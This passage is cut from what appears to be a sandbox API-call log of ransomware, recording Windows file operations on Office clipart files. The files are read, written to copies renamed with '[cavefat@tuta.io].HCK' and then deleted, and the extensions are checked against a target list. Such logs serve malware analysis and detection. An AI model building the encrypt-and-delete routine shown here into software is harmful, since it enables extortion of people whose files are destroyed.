dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.818] GetLastError () returned 0x0 [0178.819] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd00, lpOverlapped=0x0) returned 1 [0178.820] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd10, lpOverlapped=0x0) returned 1 [0178.821] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.821] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.821] SetEndOfFile (hFile=0x368) returned 1 [0178.822] CloseHandle (hObject=0x368) returned 1 [0178.822] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.822] SetEndOfFile (hFile=0x39c) returned 1 [0178.825] CloseHandle (hObject=0x39c) returned 1 [0178.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf")) returned 1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".doc") returned 4 [0178.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".docx") returned 5 [0178.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.830] lstrlenW (lpString=".pdf") returned 4 [0178.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".xls") returned 4 [0178.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.830] lstrlenW (lpString=".xlsx") returned 5 [0178.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.830] lstrlenW (lpString=".ppt") returned 4 [0178.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".zip") returned 4 [0178.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.830] lstrlenW (lpString=".rar") returned 4 [0178.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".bz2") returned 4 [0178.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".7z") returned 3 [0178.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".dbf") returned 4 [0178.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".1cd") returned 4 [0178.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".jpg") returned 4 [0178.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.830] lstrlenW (lpString=".doc") returned 4 [0178.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".docx") returned 5 [0178.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.830] lstrlenW (lpString=".pdf") returned 4 [0178.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.830] lstrlenW (lpString=".xls") returned 4 [0178.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.830] lstrlenW (lpString=".xlsx") returned 5 [0178.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.831] lstrlenW (lpString=".ppt") returned 4 [0178.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.831] lstrlenW (lpString=".zip") returned 4 [0178.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.831] lstrlenW (lpString=".rar") returned 4 [0178.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.831] lstrlenW (lpString=".bz2") returned 4 [0178.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.831] lstrlenW (lpString=".7z") returned 3 [0178.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.831] lstrlenW (lpString=".dbf") returned 4 [0178.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.831] lstrlenW (lpString=".1cd") returned 4 [0178.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 68 [0178.831] lstrlenW (lpString=".jpg") returned 4 [0178.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.831] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.831] lstrlenW (lpString="NA02368_.WMF") returned 12 [0178.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.834] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3368) returned 1 [0178.835] CloseHandle (hObject=0x2fc) returned 1 [0178.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf")) returned 0x220 [0178.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.837] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.846] GetLastError () returned 0x0 [0178.846] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd28, lpOverlapped=0x0) returned 1 [0178.848] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd30, lpOverlapped=0x0) returned 1 [0178.849] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.849] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.849] SetEndOfFile (hFile=0x2fc) returned 1 [0178.851] CloseHandle (hObject=0x2fc) returned 1 [0178.852] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.853] SetEndOfFile (hFile=0x300) returned 1 [0178.854] CloseHandle (hObject=0x300) returned 1 [0178.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02368_.wmf")) returned 1 [0178.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".doc") returned 4 [0178.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".docx") returned 5 [0178.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.856] lstrlenW (lpString=".pdf") returned 4 [0178.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".xls") returned 4 [0178.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.856] lstrlenW (lpString=".xlsx") returned 5 [0178.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.856] lstrlenW (lpString=".ppt") returned 4 [0178.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".zip") returned 4 [0178.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.856] lstrlenW (lpString=".rar") returned 4 [0178.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".bz2") returned 4 [0178.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".7z") returned 3 [0178.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".dbf") returned 4 [0178.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".1cd") returned 4 [0178.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".jpg") returned 4 [0178.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".doc") returned 4 [0178.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".docx") returned 5 [0178.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.856] lstrlenW (lpString=".pdf") returned 4 [0178.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString=".xls") returned 4 [0178.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.856] lstrlenW (lpString=".xlsx") returned 5 [0178.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.856] lstrlenW (lpString=".ppt") returned 4 [0178.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.856] lstrlenW (lpString=".zip") returned 4 [0178.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.856] lstrlenW (lpString=".rar") returned 4 [0178.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.857] lstrlenW (lpString=".bz2") returned 4 [0178.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.857] lstrlenW (lpString=".7z") returned 3 [0178.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.857] lstrlenW (lpString=".dbf") returned 4 [0178.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.857] lstrlenW (lpString=".1cd") returned 4 [0178.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 68 [0178.857] lstrlenW (lpString=".jpg") returned 4 [0178.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.857] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.857] lstrlenW (lpString="NA02384_.WMF") returned 12 [0178.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.860] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3032) returned 1 [0178.860] CloseHandle (hObject=0x39c) returned 1 [0178.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf")) returned 0x220 [0178.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.867] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.867] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.870] GetLastError () returned 0x0 [0178.870] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbd8, lpOverlapped=0x0) returned 1 [0178.872] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0178.873] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.873] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.873] SetEndOfFile (hFile=0x300) returned 1 [0178.874] CloseHandle (hObject=0x300) returned 1 [0178.874] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.874] SetEndOfFile (hFile=0x2fc) returned 1 [0178.877] CloseHandle (hObject=0x2fc) returned 1 [0178.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02384_.wmf")) returned 1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString=".doc") returned 4 [0178.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString=".docx") returned 5 [0178.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.879] lstrlenW (lpString=".pdf") returned 4 [0178.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString=".xls") returned 4 [0178.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.879] lstrlenW (lpString=".xlsx") returned 5 [0178.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.879] lstrlenW (lpString=".ppt") returned 4 [0178.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString=".zip") returned 4 [0178.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.879] lstrlenW (lpString=".rar") returned 4 [0178.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString=".bz2") returned 4 [0178.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString=".7z") returned 3 [0178.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString=".dbf") returned 4 [0178.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString=".1cd") returned 4 [0178.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.879] lstrlenW (lpString=".jpg") returned 4 [0178.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString=".doc") returned 4 [0178.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString=".docx") returned 5 [0178.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.880] lstrlenW (lpString=".pdf") returned 4 [0178.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString=".xls") returned 4 [0178.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.880] lstrlenW (lpString=".xlsx") returned 5 [0178.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.880] lstrlenW (lpString=".ppt") returned 4 [0178.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString=".zip") returned 4 [0178.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.880] lstrlenW (lpString=".rar") returned 4 [0178.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString=".bz2") returned 4 [0178.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString=".7z") returned 3 [0178.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString=".dbf") returned 4 [0178.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString=".1cd") returned 4 [0178.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 68 [0178.880] lstrlenW (lpString=".jpg") returned 4 [0178.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.880] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.880] lstrlenW (lpString="NA02390_.WMF") returned 12 [0178.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.883] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3684) returned 1 [0178.883] CloseHandle (hObject=0x2fc) returned 1 [0178.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf")) returned 0x220 [0178.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.891] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.892] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.892] CreateFileW (lpFileName="C:\\Program 